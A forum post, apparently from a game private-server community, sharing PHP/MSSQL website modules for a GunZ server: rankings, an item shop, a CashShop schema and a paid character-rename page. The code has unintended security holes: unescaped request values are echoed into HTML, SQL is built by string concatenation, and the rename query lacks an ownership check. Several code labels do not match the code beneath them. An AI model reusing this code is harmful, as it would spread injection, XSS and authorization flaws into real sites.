|| $page == "0" || $page == "1"){ $y = "50"; $x = "0"; $count = "1"; } elseif(isset($page) && $page == "2"){ $y = "100"; $x = "50"; $count = "51"; } elseif(isset($page) && $page == "3"){ $y = "150"; $x = "100"; $count = "101"; } elseif(isset($page) && $page == "4"){ $y = "200"; $x = "150"; $count = "151"; } elseif(isset($page) && $page == "5"){ $y = "250"; $x = "200"; $count = "201"; } else { $y = "50"; $x = "0"; $count = "1"; } $thequery = mssql_query("SELECT TOP ".$y." * FROM Character WHERE CID NOT IN (SELECT TOP ".$x." CID FROM Character ORDER BY XP DESC) AND Name != '' ORDER BY XP DESC"); $thecount = mssql_num_rows($thequery); if($thecount == 0){ echo "<tr> <td width=\"528\" colspan=\"5\"> <p align=\"center\"> No Data</td> </tr>"; } else { while($char = mssql_fetch_array($thequery)){ ?> <tr bgcolor="#232122"> <td width="59" align="center"> <b><?=$count;?></b></td> <td width="132" align="center"> <a href="index.php?do=charinfo&id=<?=$char['CID']?>"><?=FormatCharName($char['CID'])?></a></td> <td width="43" align="center"> <?=$char['Level']?></td> <td width="149" align="center"> <?=number_format($char['XP'], 0, ",", ".")?></td> <td width="145" align="center"> <?=GetKDRatio($char['KillCount'], $char['DeathCount'])?></td> </tr> <? $count++; } } } ?> </table> </div> </td> <td width="13"> </td> </tr> </table> </div> <? if($search == 0 ){ } ?> </td> </tr> <tr> <td style="background-repeat: repeat; background-position: center top" width="583" valign="top"> <p> </td> </tr> <tr> <td style="background-repeat: repeat; background-position: center top" width="583" valign="top"> </td> </tr> <tr> <td height="17" style="background-image: url('images/content_top.jpg'); background-repeat: no-repeat; background-position: center bottom" width="601" colspan="3"></td> </tr> </table> </div> </td> </tr> </table>
I've used the default table called dbo.cashshop.
Querie :
mod_itemshop.phpCode:USE [GunzVG] GO /****** Object: Table [dbo].[CashShop] Script Date: 08/12/2010 05:11:21 ******/ SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO SET ANSI_PADDING ON GO CREATE TABLE [dbo].[CashShop]( [CSID] [int] NOT NULL, [ItemID] [int] NOT NULL, [CashPrice] [int] NOT NULL, [WebImgName] [varchar](64) COLLATE Latin1_General_CI_AS NULL, [Opened] [tinyint] NULL, [RegDate] [datetime] NULL, [Name] [varchar](265) COLLATE Latin1_General_CI_AS NOT NULL, [TotalPoint] [int] NULL, [ResSex] [tinyint] NULL, [ResLevel] [int] NULL, [Slot] [tinyint] NULL, [Weight] [int] NULL, [BountyPrice] [int] NULL, [Damage] [int] NULL, [Delay] [int] NULL, [Controllability] [int] NULL, [Magazine] [int] NULL, [ReloadTime] [int] NULL, [HP] [int] NULL, [AP] [int] NULL, [MaxWeight] [int] NULL, [SF] [int] NULL, [FR] [int] NULL, [CR] [smallint] NULL, [PR] [smallint] NULL, [LR] [int] NULL, [Description] [nchar](1024) COLLATE Latin1_General_CI_AS NULL, [MaxBullet] [int] NULL, [LimitSpeed] [tinyint] NULL, [IsCashItem] [tinyint] NULL, [Control] [int] NULL, [Duration] [int] NULL, [CSSID] [varchar](50) COLLATE Latin1_General_CI_AS NULL, [Selled] [nchar](10) COLLATE Latin1_General_CI_AS NULL, [ModelName] [varchar](64) COLLATE Latin1_General_CI_AS NULL, [BlendColor] [int] NULL, [ResRace] [tinyint] NULL, [EffectID] [int] NULL, [NewItemOrder] [tinyint] NULL, [RentType] [tinyint] NULL, [Gadget] [int] NULL, [SlugOutput] [tinyint] NULL, [RentHourPeriod] [int] NULL, CONSTRAINT [CashShop_PK] PRIMARY KEY CLUSTERED ( [CSID] ASC )WITH (PAD_INDEX = OFF, IGNORE_DUP_KEY = OFF, FILLFACTOR = 90) ON [PRIMARY] ) ON [PRIMARY] GO SET ANSI_PADDING OFF
mod_clanranking.phpCode:<? if ($_GET['expand'] == 1){ ?> <tr> <td width="917" colspan="5" height="26" style="background-image: url('images/subbar.png'); background-repeat: no-repeat; background-position: center top"> <p align="center"> <a href="index.php?do=myaccount&act=viewmyitems"> <img border="0" src="images/subbar/myitems.jpg" width="64" height="13"></a><a href="index.php?do=itemshop&sub=listallitems&expand=1&type=3&pagenum=1"><img border="0" src="images/subbar/listallitems.jpg" width="100" height="13"></a><a href="index.php?do=gift"><img border="0" src="images/subbar/giftcoin.jpg" width="52" height="13"></a></td> </tr> <? } if(!function_exists("ListAllItems")){ function ListAllItems(){ if(!isset($_GET['type'])){ $type = ""; }else{ $type = "Slot = '".antisql($_GET['type'])."' AND"; } if(($_GET['type']) == 10){ msgbox ("Press Ok to go to Change Character Name page","index.php?do=ccn"); } if ((!isset($_GET['pagenum'])) || (!is_numeric($_GET['pagenum'])) || ($_GET['pagenum'] < 1)) { $pagenum = 1; } else { $pagenum = $_GET['pagenum']; } $result = mssql_query ("SELECT * FROM CashShop WHERE ".$type." Opened = '1'") or die(mssql_error()); $rows = mssql_num_rows($result); $page_rows = 6; $last = ceil($rows/$page_rows); if (($pagenum > $last) && ($last > 0)) { $pagenum = $last; } $max = ($pagenum - 1) * $page_rows; $res = mssql_query("select top $page_rows * from CashShop WHERE ".$type." CSID not in (select top $max CSID from CashShop WHERE Slot = '".antisql($_GET['type'])."' order by CSID ASC) AND Opened = '1' order by CSID ASC"); echo "<p>"; echo " --Page $pagenum of $last-- <p>"; if ($pagenum == 1) { } else { echo " <a href='index.php?do=itemshop&sub=listallitems&expand=1&type={$_GET['type']}&pagenum=1'><font color=#FF0000>[First Page]</font></a> "; echo " "; $previous = $pagenum-1; echo " <a href='index.php?do=itemshop&sub=listallitems&expand=1&type={$_GET['type']}&pagenum=$previous'><font color=#00FF00>[Previous Page]</font></a> "; } echo " ----------- "; if ($pagenum == $last) { } else { $next = $pagenum+1; echo " <a href='index.php?do=itemshop&sub=listallitems&expand=1&type={$_GET['type']}&pagenum=$next'><font color=#00FF00>[Next Page]</font></a> "; echo " "; echo " <a href='index.php?do=itemshop&sub=listallitems&expand=1&type={$_GET['type']}&pagenum=$last'><font color=#FF0000>[Last Page]</font></a> "; } ?> <div align="center"> <table border="0" width="456" style="border-collapse: collapse"> <tr> <td background="images/cont_up.jpg"> </td> </tr> <tr> <td background="images/cont_bg.jpg"> <div align="center"> <table border="0" style="border-collapse: collapse" width="454" height="100%"> <tr> <td width="4" rowspan="11"> </td> <td width="440" colspan="2"> <img border="0" src="images/inf/listallitems.jpg"></td> <td width="30"> </td> </tr> <tr> <td width="12" colspan="2"></td> </tr> <tr> <td width="449" colspan="2"> <form name="itemtype"><select size="1" name="type" onchange="SwitchItem()"> <option value="0">Click here</option> <option value="1">Male Hats #1</option> <option value="24">Male Hats #2</option> <option value="2">Female Hats #1</option> <option value="15">Female Hats #2</option> <option value="3">Male Coats/Jackets #1</option> <option value="16">Male Coats/Jackets #2</option> <option value="4">Female Coats/Jackets #1</option> <option value="17">Female Coats/Jackets #2</option> <option value="5">Male Gloves #1</option> <option value="18">Male Gloves #2</option> <option value="6">Female Gloves #1</option> <option value="19">Female Gloves #2</option> <option value="7">Male Trousers #1</option> <option value="20">Male Trousers #2</option> <option value="8">Female Trousers #1</option> <option value="21">Female Trousers #2</option> <option value="9">Male Boots #1</option> <option value="22">Male Boots #2</option> <option value="10">Female Boots #1</option> <option value="23">Female Boots #2</option> <option value="11">Elements</option> </select></form></td> </tr> <tr> <td width="449" colspan="2"> </td> </tr> <tr> <? while($item = mssql_fetch_assoc($res)) { if ($count == 2) { $count = 1; echo " </tr><tr> <td width='184'> </td> <td width='184'> </td> <td width='184'> </td> </tr><tr>"; ?> <td width="208"> <table border="0" style="border-collapse: collapse" width="102%" height="100%"> <tr> <td width="105" rowspan="8" valign="top"> <p align="center"> <img border="2" src="images/shop/<?=$item['WebImgName']?>"></td> <td width="106" valign="top"> <font color="#FF9933"><?=$item['Name']?></font></td> </tr> <tr> <td width="106" valign="top"><b><font color="#FF0000"><? switch ( $item['ForSale'] ){ case "0"; $Sale = " "; break; case "1"; $Sale = "NOT FOR SALE"; break; } echo $Sale; ?> </font></b></td> </tr> <tr> <td width="106" valign="top"> Type: <? switch ( $item['Slot'] ){ case "1"; $slot = "Ranged"; break; case "9"; $slot = "Melee"; break; case "3"; $slot = "Armor"; break; case "4"; $slot = "Armor"; break; case "5"; $slot = "Armor"; break; case "6"; $slot = "Armor"; break; case "7"; $slot = "Armor"; break; case "8"; $slot = "Special"; break; } echo $slot; ?></td> </tr> <tr> <td width="106" valign="top"> Sex: <? switch ($item['ResSex']){ case "0"; $sex = "Man"; break; case "1"; $sex = "Woman"; break; case "2"; $sex = "All"; break; } echo $sex; ?></td> </tr> <tr> <td width="106" valign="top"> Lv. Min: <?=$item['ResLevel']?></td> </tr> <tr> <td width="106" valign="top"> Coins: <?=$item['CashPrice']?></td> </tr> <tr> <td width="106"> <p align="center"> <a href="index.php?do=itemshop&sub=details&id=<?=$item['CSID']?>"><img border="0" src="images/buy_btn.jpg" width="47" height="19"></a></td> </tr> <tr> <td width="106"> </td> </tr> <tr> <td width="105"> </td> <td width="106"> </td> </tr> </table> </body> </html> </td> <? }else{ ?> <td width="208"> <table border="0" style="border-collapse: collapse" width="100%" height="100%"> <tr> <td width="105" rowspan="8" valign="top"> <p align="center"> <img border="2" src="images/shop/<?=$item['WebImgName']?>"></td> <td width="110" valign="top"> <font color="#FF9933"><?=$item['Name']?></font></td> </tr> <tr> <td width="110" valign="top"><b><font color="#FF0000"><? switch ( $item['ForSale'] ){ case "0"; $Sale = " "; break; case "1"; $Sale = "NOT FOR SALE"; break; } echo $Sale; ?></font></b></td> </tr> <tr> <td width="110" valign="top"> Type: <? switch ( $item['Slot'] ){ case "1"; $slot = "Ranged"; break; case "9"; $slot = "Melee"; break; case "3"; $slot = "Armor"; break; case "4"; $slot = "Armor"; break; case "5"; $slot = "Armor"; break; case "6"; $slot = "Armor"; break; case "7"; $slot = "Armor"; break; case "8"; $slot = "Special"; break; } echo $slot; ?></td> </tr> <tr> <td width="110" valign="top"> Sex: <? switch ($item['ResSex']){ case "0"; $sex = "Man"; break; case "1"; $sex = "Woman"; break; case "2"; $sex = "All"; break; } echo $sex; ?></td> </tr> <tr> <td width="110" valign="top"> Lv. Min: <?=$item['ResLevel']?></td> </tr> <tr> <td width="110" valign="top"> Coins: <?=$item['CashPrice']?></td> </tr> <tr> <td width="110"> <p align="center"> <a href="index.php?do=itemshop&sub=details&id=<?=$item['CSID']?>"><img border="0" src="images/buy_btn.jpg" width="47" height="19"></a></td> </tr> <tr> <td width="110"> </td> </tr> <tr> <td width="105"> </td> <td width="110"> </td> </tr> </table> </body> </html> </td> <? $count++; } } ?> <td width="30"> <p> </p> <p> </p> <p> </td> </tr> <tr> <td width="445" colspan="2"> </td> </tr> <tr> <td width="12" colspan="2"></td> </tr> </table> </div> </td> </tr> <tr> <td background="images/cont_top.jpg" height="27"> </td> </tr> </table> </div> <td width="206" valign="top"> <p><? include "modules/mod_iLogin.php" ?></p> <p> </p> <p> </td> <td width="12"> </td> <? } } //Items details if(!function_exists("ShowItemsDetails")){ function ShowItemsDetails(){ if($_GET['id'] == ""){ re_dir("index.php"); } $itemid = antisql($_GET['id']); $res = mssql_query("SELECT * FROM CashShop WHERE CSID = '$itemid'"); $item = mssql_fetch_assoc($res); if($item['ForSale'] > 0){ msgbox("You cant buy this","index.php?do=itemshop&sub=listallitems&expand=1&type=3"); die("You cant buy this"); } ?> <div align="center"> <table border="0" width="456" style="border-collapse: collapse"> <tr> <td background="images/cont_up.jpg"> </td> </tr> <tr> <td background="images/cont_bg.jpg"> <div align="center"> <table border="0" style="border-collapse: collapse" width="454" height="100%"> <tr> <td width="4" rowspan="7"> </td> <td width="429"> <img border="0" src="images/inf/itemdetails.jpg" width="413" height="18"></td> <td width="8"> </td> </tr> <tr> <td width="1"></td> </tr> <tr> <td width="438"> <table border="0" style="border-collapse: collapse" width="436" height="100%"> <tr> <td width="122" valign="top"> <table border="0" style="border-collapse: collapse" width="122"> <tr> <td width="11"> </td> <td width="91"> </td> <td width="14"> </td> </tr> <tr> <td width="11"> </td> <td width="91"> <img border="2" src="images/shop/<?=$item['WebImgName']?>" width="100" height="100"></td> <td width="14"> </td> </tr> <tr> <td width="11"> </td> <td width="91"> </td> <td width="14"> </td> </tr> </table> </td> <td width="310" valign="top"> <table border="0" style="border-collapse: collapse" width="310" height="100%"> <tr> <td height="15" width="308" colspan="2"> </td> </tr> <tr> <td height="15" width="308" colspan="2"> <!-- //left item picture --> <!-- right item info box --> <div class="item_name"> <b> <span class="item_name"> <?=$item['Name']?></span></b></div> </td> </tr> <tr> <td width="55" height="15"><? switch ( $item['ForSale'] ){ case "0"; $Sale = "For Sale"; break; case "1"; $Sale = "NOT FOR SALE"; break; } echo $Sale; ?> </td> <td width="251" height="15"> </td> </tr> <tr> <td width="55"><b>Type:</b></td> <td width="251"><? switch ( $item['Slot'] ){ case "1"; $slot = "Ranged"; break; case "9"; $slot = "Melee"; break; case "3"; $slot = "Armor"; break; case "4"; $slot = "Armor"; break; case "5"; $slot = "Armor"; break; case "6"; $slot = "Armor"; break; case "7"; $slot = "Armor"; break; case "8"; $slot = "Special"; break; } echo $slot; ?></td> </tr> <tr> <td width="55"><b>Sex:</b></td> <td width="251"> <? switch ($item['ResSex']){ case "0"; $sex = "Man"; break; case "1"; $sex = "Woman"; break; case "2"; $sex = "All"; break; } echo $sex; ?></td> </tr> <tr> <td width="55"><b>Level:</b></td> <td width="251"><?=$item['ResLevel']?></td> </tr> <tr> <td width="55"> <b>Weight:</b></td> <td width="251"><?=$item['Weight']?></td> </tr> <tr> <td width="55"><b>Coins:</b></td> <td width="251"><?=$item['CashPrice']?> Premium Coins For 15 days</td> </tr> <tr> <td width="55"> </td> <td width="251"> </td> </tr> </table> </td> </tr> <tr> <td width="432" valign="top" colspan="2"> <div align="center"> <table border="0" style="border-collapse: collapse; background-image: url('images/iteminfo.jpg'); background-repeat: no-repeat; background-position: center top" width="422" height="110"> <tr> <td> <table border="0" style="border-collapse: collapse" width="420" height="100%"> <tr> <td width="130" height="27" colspan="4"> </td> <td width="146" height="27" colspan="3"> </td> <td width="128" height="27" colspan="3"> </td> </tr> <tr> <td width="7"> </td> <td width="75"> <b> Damage</b></td> <td width="44" align="right"> <?=$item['Damage']?></td> <td width="4" style="background-image: url('images/table_sep.jpg')"> </td> <td width="88"> <b>AP</b></td> <td width="48" align="right"> <?=$item['AP']?></td> <td width="4" style="background-image: url('images/table_sep.jpg')"> </td> <td width="67"> <b>FR</b></td> <td width="62" align="right"> <?=$item['FR']?></td> <td width="4"> </td> </tr> <tr> <td width="7"> </td> <td width="75"> <b>Delay</b></td> <td width="44" align="right"> <?=$item['Delay']?></td> <td width="4" style="background-image: url('images/table_sep.jpg')"> </td> <td width="88"> <b>HP</b></td> <td width="48" align="right"> <?=$item['HP']?></td> <td width="4" style="background-image: url('images/table_sep.jpg')"> </td> <td width="67"> <b>PR</b></td> <td width="62" align="right"> <?=$item['PR']?></td> <td width="4"> </td> </tr> <tr> <td width="7"> </td> <td width="75"> <b> Magazine</b></td> <td width="44" align="right"> <?=$item['Magazine']?></td> <td width="4" style="background-image: url('images/table_sep.jpg')"> </td> <td width="88"> <b>Max Weight</b></td> <td width="48" align="right"> <?=$item['MaxWeight']?></td> <td width="4" style="background-image: url('images/table_sep.jpg')"> </td> <td width="67"> <b>CR</b></td> <td width="62" align="right"> <?=$item['CR']?></td> <td width="4"> </td> </tr> <tr> <td width="7"> </td> <td width="75"> <b>Max Bullet</b></td> <td width="44" align="right"> <?=$item['MaxBullet']?></td> <td width="4" style="background-image: url('images/table_sep.jpg')"> </td> <td width="88"> <b> Reload Time</b></td> <td width="48" align="right"> <?=$item['ReloadTime']?></td> <td width="4" style="background-image: url('images/table_sep.jpg')"> </td> <td width="67"> <b>LR</b></td> <td width="62" align="right"> <?=$item['LR']?></td> <td width="4"> </td> </tr> <tr> <td width="7"> </td> <td width="75"> <b> Control</b></td> <td width="44" align="right"> <?=$item['Control']?></td> <td width="4" style="background-image: url('images/table_sep.jpg')"> </td> <td width="88"> <b> Duration</b></td> <td width="48" align="right"> <?=$item['Duration']?></td> <td width="4" style="background-image: url('images/table_sep.jpg')"> </td> <td width="67"> </td> <td width="62"> </td> <td width="4"> </td> </tr> <tr> <td width="7"> </td> <td width="75"> </td> <td width="51" colspan="2"> </td> <td width="88"> </td> <td width="54" colspan="2"> </td> <td width="67"> </td> <td width="68" colspan="2"> </td> </tr> </table> </td> </tr> </table> </div> </td> </tr> <tr> <td width="432" valign="top" colspan="2"> </td> </tr> <tr> <td width="432" valign="top" colspan="2"> <p align="center"> <b>Description :</b> <?=$item['Description']?> </td> <td width="68" colspan="2"> </td> </tr> <tr> <td width="432" valign="top" colspan="2"> </td> </tr> <tr> <td width="432" valign="top" colspan="2"> <p align="center"> <a href="index.php?do=itemshop&sub=buyitem&expand=1&itemid=<?=$item['CSID']?>"> <img border="0" src="images/buyitem.jpg" width="70" height="27"></a> <a href="index.php?do=gift"><img border="0" src="images/giftitem.jpg" width="70" height="27" "></a></td> </tr> <tr> <td width="432" valign="top" colspan="2"> </td> </tr> </table> </td> </tr> <tr> <td width="1"></td> </tr> </table> </div> </td> </tr> <tr> <td background="images/cont_top.jpg" height="27"> </td> </tr> </table> </div> <td width="206" valign="top"> <p><? include "modules/mod_iLogin.php" ?></p> <p> </p> <p> </td> <td width="12"> </td> <? } } if(!function_exists("ShowBuyItem")){ function ShowBuyItem(){ if($_SESSION['AID'] == ""){ re_dir("index.php?do=login"); } $item2 = antisql($_GET['itemid']); $res = mssql_query("SELECT * FROM CashShop WHERE CSID = '$item2'"); $item = mssql_fetch_assoc($res); //And another one. $res2 = mssql_query("SELECT euCoins FROM Login WHERE AID = '" . antisql($_SESSION['AID']) . "'"); $acc = mssql_fetch_assoc($res2); if(isset($_POST['submit'])){ $itemid = antisql($_POST['ItemID']); $res = mssql_query("SELECT * FROM CashShop WHERE CSID = '$itemid'"); $item = mssql_fetch_assoc($res); if($item['ForSale'] > 0){ msgbox("You cant buy this","index.php?do=itemshop&sub=listallitems&expand=1&type=3"); die("You cant buy this"); } //Oops? $res2 = mssql_query("SELECT euCoins FROM Login WHERE AID = '" . antisql($_SESSION['AID']) . "'"); $acc = mssql_fetch_assoc($res2); //Why create it here when you've used it without variable above? //Anyway. Antisql function applied. $aid = antisql($_SESSION['AID']); $updatecoins = $acc['euCoins'] - $item['CashPrice']; $zitemid = $item['zItemID']; if($updatecoins < 0){ die("GTFO"); } mssql_query("INSERT INTO AccountItem ([ShopItemID], [AID], [ItemID], [RentDate], [RentHourPeriod], [Cnt])VALUES('$itemid', '$aid', '$itemid', GETDATE(), 360, 0)"); mssql_query("UPDATE CashShop SET Selled = Selled + 1 WHERE CSID = $itemid"); mssql_query("UPDATE Login SET euCoins = '$updatecoins' WHERE AID = '$aid'"); msgbox("Item purchased correctly, you will be introduced in Storage","index.php?do=itemshop&sub=listallitems&expand=1&type=3"); } ?> <div align="center"> <table border="0" width="456" style="border-collapse: collapse"> <tr> <td background="images/cont_up.jpg"> </td> </tr> <tr> <td background="images/cont_bg.jpg"> <div align="center"> <table border="0" style="border-collapse: collapse" width="454" height="100%"> <tr> <td width="4" rowspan="7"> </td> <td width="429"> <img border="0" src="images/inf/buyitem.jpg" width="414" height="19"></td> <td width="8"> </td> </tr> <tr> <td width="1"></td> </tr> <tr> <td width="438"> <table border="0" style="border-collapse: collapse" width="436" height="100%"> <tr> <td width="200" valign="top"> </td> <td width="8" valign="top"> </td> <td width="222" valign="top"> </td> </tr> <tr> <td width="200" valign="top"> <p align="right">Name of item</td> <td width="8" valign="top"> </td> <td width="222" valign="top"> <b><?=$item['Name']?></b></td> </tr> <tr> <td width="200" valign="top"> <p align="right">Bill Current</td> <td width="8" valign="top"> </td> <td width="222" valign="top"> <b><?=$_SESSION['UserID']?></b></td> </tr> <tr> <td width="200" valign="top"> <p align="right">Coins</td> <td width="8" valign="top"> </td> <td width="222" valign="top"> <b><?=$item['CashPrice']?> Coins </b></td> </tr> <tr> <td width="200" valign="top"> <p align="right">Premium Coins you have</td> <td width="8" valign="top"> </td> <td width="222" valign="top"> <b><?=$acc['euCoins']?> Coins </b></td> </tr> <tr> <td width="200" valign="top"> <p align="right">Premium Coins To you later</td> <td width="8" valign="top"> </td> <td width="222" valign="top"> <b><? $result = $acc['euCoins']-$item['CashPrice']; if($result < 0){ $boton = "<b>insufficient Premium Coins</b>"; }else{ $boton = "<input type='submit' value='Buy item' name='submit'>"; } echo $acc['euCoins']-$item['CashPrice'];?> Coins </b></td> </tr> <tr> <td width="200" valign="top"> </td> <td width="8" valign="top"> </td> <td width="222" valign="top"> </td> </tr> <tr> <td width="430" valign="top" colspan="3"> <p align="center"> <font color="#FF0000"><b> NOTE: If you buy an item and then do not want, or is mistaken, we are not responsible</b></font></td> </tr> <tr> <td width="200" valign="top"> </td> <td width="8" valign="top"> </td> <td width="222" valign="top"> </td> </tr> <tr> <td width="430" valign="top" colspan="3"> <form method="POST" action="index.php?do=itemshop&sub=buyitem"> <p align="center"> <?=$boton?> <input type="hidden" value="<?=$_GET['itemid']?>" name="ItemID"> </p> </form> </td> </tr> </table> </td> </tr> <tr> <td width="1"></td> </tr> </table> </div> </td> </tr> <tr> <td background="images/cont_top.jpg" height="27"> </td> </tr> </table> </div> <td width="206" valign="top"> <p><? include "modules/mod_iLogin.php" ?></p> <p> </p> <p> </td> <td width="12"> </td> <? } } if($_GET['expand'] == 0){ switch($_GET['sub']){ case "listallitems"; ListAllItems(); break; case "details"; ShowItemsDetails(); break; case "buyitem"; ShowBuyItem(); break; } } ?>
mod_ccn.php Thanks for phoenix for teh request of the bug.Code:<table border="0" style="border-collapse: collapse" width="177"> <tr> <td height="141" style="background-image: url('images/md_ir.jpg'); background-repeat: no-repeat; background-position: center top" valign="top"> <div align="center"> <table border="0" style="border-collapse: collapse" width="175" height="100%"> <tr> <td width="9" height="39"> </td> <td width="149" height="39"> </td> <td width="11" height="39"> </td> </tr> <tr> <td width="9"> </td> <td width="149" valign="top"> <div align="center"> <table border="0" style="border-collapse: collapse" width="149"> <? $queryrank01 = mssql_query("SELECT TOP 5 * FROM Character WHERE (DeleteFlag=0 OR DeleteFlag=NULL) ORDER BY Level DESC, XP DESC, KillCount DESC, DeathCount ASC"); $count = 0; if(mssql_num_rows($queryrank01) <> 0) { while($char = mssql_fetch_assoc($queryrank01)) { $count++; $indrank .= ' <tr> <td width="7" align="left"> <img border="0" src="images/rank-'.$count.'.jpg" width="9" height="9"></td> <td width="104" align="left"> <a href="index.php?do=charinfo&id='.$char['CID'].'">'.$char['Name'].'</a></td> <td width="27" align="left"> '.$char[Level].' LvL</td> </tr>'; } } else { $indrank = ' <tr> <center>No data</center> </tr>'; } echo $indrank; ?> </table> </div> </td> <td width="11"> </td> </tr> <tr> <td width="9" height="23"> </td> <td width="149" height="23"> </td> <td width="11" height="23"> </td> </tr> </table> </div> <p> </td> </tr> <tr> <td height="0"> </td> </tr> <tr> <td height="141" style="background-image: url('images/md_cr.jpg'); background-repeat: no-repeat; background-position: center top" valign="top"> <div align="center"> <table border="0" style="border-collapse: collapse" width="175" height="100%"> <tr> <td width="9" height="39"> </td> <td width="149" height="39"> </td> <td width="11" height="39"> </td> </tr> <tr> <td width="9"> </td> <td width="149" valign="top"> <div align="center"> <table border="0" style="border-collapse: collapse" width="149"> <? $queryrank02 = mssql_query("SELECT TOP 5 * FROM Clan WHERE DeleteFlag = 0 AND Wins != 0 OR DeleteFlag = 0 AND Losses != 0 ORDER BY Point DESC, TotalPoint DESC, Wins DESC, Losses ASC"); $countc = 0; if(mssql_num_rows($queryrank02) <> 0) { while($char = mssql_fetch_assoc($queryrank02)) { $countc++; $clanrank2 .= ' <tr> <td width="7" align="left"> <img border="0" src="images/rank-'.$countc.'.jpg" width="9" height="9"></td> <td width="104" align="left"> <a href="index.php?do=claninfo&id='.$char['CLID'].'">'.$char['Name'].'</a></td> <td width="27" align="left"> '.$char[Point].' Pt</td> </tr>'; } } else { $clanrank2 = ' <tr> <center>No data</center> </tr>'; } echo $clanrank2; ?> </table> </div> </td> <td width="11"> </td> </tr> <tr> <td width="9" height="23"> </td> <td width="149" height="23"> </td> <td width="11" height="23"> </td> </tr> </table> </div> <p> </td> </tr><tr> <td height="0"> </td> </tr> </table>
If there are more bugs tell me then i can fix them.Code:<? if($_SESSION['AID'] == ""){ msgbox("Please login first.","index.php?do=login"); exit(); }else{ if(isset($_POST['submit'])){ $OldName = antisql($_POST['OldName']); $NewName = antisql($_POST['NewName']); $minleghth_limit = 4; $maxleghth_limit = 12; $new_string = eregi_replace("([A-Z0-9øùúûüýþÿÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæççéêëìíîïðñòóôõö•–—˜™š›œžŸ¡¢£¤¥¦§©ª«¬¯°±´µ¶·º»¼½ŽŒ†‡‰ Š~€ƒ]+)","",$NewName); if (strlen($_POST['NewName']) < $minleghth_limit) { msgbox("Minimum 4 Characters","index.php?do=ccn"); }else if (strlen($_POST['NewName']) > $maxleghth_limit) { msgbox("Maximum 12 Characters","index.php?do=ccn"); }else if($new_string){ msgbox("Invalid Characters","index.php?do=ccn"); } else { $r=mssql_query("SELECT * FROM Character WHERE AID = '" . antisql($_SESSION['AID']) . "' AND Name != '' "); if(mssql_num_rows($r) == 0){ msgbox("The Character dont exist!!!","index.php?do=ccn"); } $r2=mssql_query("SELECT * FROM Character WHERE Name = '$NewName'"); if(mssql_num_rows($r2) > 0){ msgbox("The Character name Already exists!!!","index.php?do=ccn"); }else{ $res2 = mssql_query("SELECT euCoins FROM Login WHERE AID = '" . antisql($_SESSION['AID']) . "'"); $acc = mssql_fetch_assoc($res2); $updatecoins = $acc['euCoins'] - 50 ; if($updatecoins < 0){ msgbox ("Insufficent B2O Coins","index.php?do=ccn"); exit(); } $eucoins = $data['euCoins']; mssql_query("UPDATE Character SET Name = '$NewName' WHERE Name = '$OldName'"); mssql_query("UPDATE Login SET euCoins = '$updatecoins' WHERE AID = '" . antisql($_SESSION['AID']) . "'"); mssql_query("INSERT INTO [charnamelog] ([OldName], [NewName])VALUES('$OldName', '$NewName')"); msgbox("Char name changed!!!","index.php?do=ccn"); } }} ?> <head> <meta http-equiv="Content-Language" content="es"> <link rel="stylesheet" type="text/css" href="http://forum.ragezone.com/images/style.css"> </head> <body bgcolor="#000000"> <div align="center"> <table border="0" width="456" style="border-collapse: collapse"> <tr> <td background="http://forum.ragezone.com/images/cont_up.jpg"> </td> </tr> <tr> <td background="http://forum.ragezone.com/images/cont_bg.jpg"> <div align="center"> <form method="POST" action="index.php?do=ccn"><table border="0" style="border-collapse: collapse" width="454" height="100%"> <tr> <td width="1" rowspan="10"> </td> <td colspan="3"> <img border="0" src="http://forum.ragezone.com/images/inf/changename.jpg" width="413" height="17"></td> <td width="4"> </td> </tr> <tr> <td colspan="3"></td> </tr> <tr> <td colspan="3"> </td> </tr> <tr> <td width="204"> <p align="right"> <font color="#FFFFFF">Old Character Name</font></td> <td width="5"><font color="#FFFFFF"> </font> </td> <td width="218"> <font color="#FFFFFF"><select name="OldName"> <?php $query6 = mssql_query("SELECT * FROM Character WHERE AID = '" . antisql($_SESSION['AID']) . "' AND Name != '' "); while($row = mssql_fetch_array($query6)) { echo '<option name="'.$row['Name'].'">'.$row['Name'].'</option>'; } ?> </select></font></td> </tr> <tr> <td width="204" align="right" valign="top"> <font color="#FFFFFF">New Character Name</font></td> <td width="5"> </td> <td width="218"><font color="#FFFFFF"><input name="NewName" type="text" id="NewName" size="20"></font></td> </tr> <tr> <td width="200" valign="top"> </td> <td width="8" valign="top"> </td> <td width="222" valign="top"> </td> </tr> <tr> <td width="200" valign="top"> <p align="right">Name of item</td> <td width="8" valign="top"> </td> <td width="222" valign="top"> <b>Character Name Change</b></td> </tr> <tr> <td width="200" valign="top"> <p align="right">Current bill</td> <td width="8" valign="top"> </td> <td width="222" valign="top"> <b><?=antisql($_SESSION['UserID'])?></b></td> </tr> <tr> <td width="200" valign="top"> <p align="right">Coins</td> <td width="8" valign="top"> </td> <td width="222" valign="top"> <b>50 Coins </b></td> </tr> <tr> <td width="200" valign="top"> <p align="right">B2O Coins to you later</td> <td width="8" valign="top"> </td> <td width="222" valign="top"> <b><?=$data['euCoins']-50;?> Coins </b></td> </tr> <tr> <td width="1" rowspan="10"> </td> <td colspan="3"> <font color="#FF0000"><b> <center>NOTE: If you change character name and then do not want, or is mistaken, we are not responsible</b></center></font></td> <td width="4"> </td> </tr> <tr> <td width="200" valign="top"> </td> <td width="8" valign="top"> </td> <td width="222" valign="top"> </td> </tr> <tr> <td colspan="3"> <p align="center"> <font color="#FFFFFF"> <input type="submit" value="Change Char Name" name="submit"></font></td> </tr> <tr> <td colspan="3"></td> </tr> </table> </form> </div> </td> </tr> <tr> <td background="http://forum.ragezone.com/images/cont_top.jpg" height="27"> </td> </tr> </table> </div> <? } ?> <td width="206" valign="top"> <p><? include "modules/mod_iLogin.php" ?></p> <p> </p> <p> </td> <td width="12"> </td>
Originally Posted by GU_Master
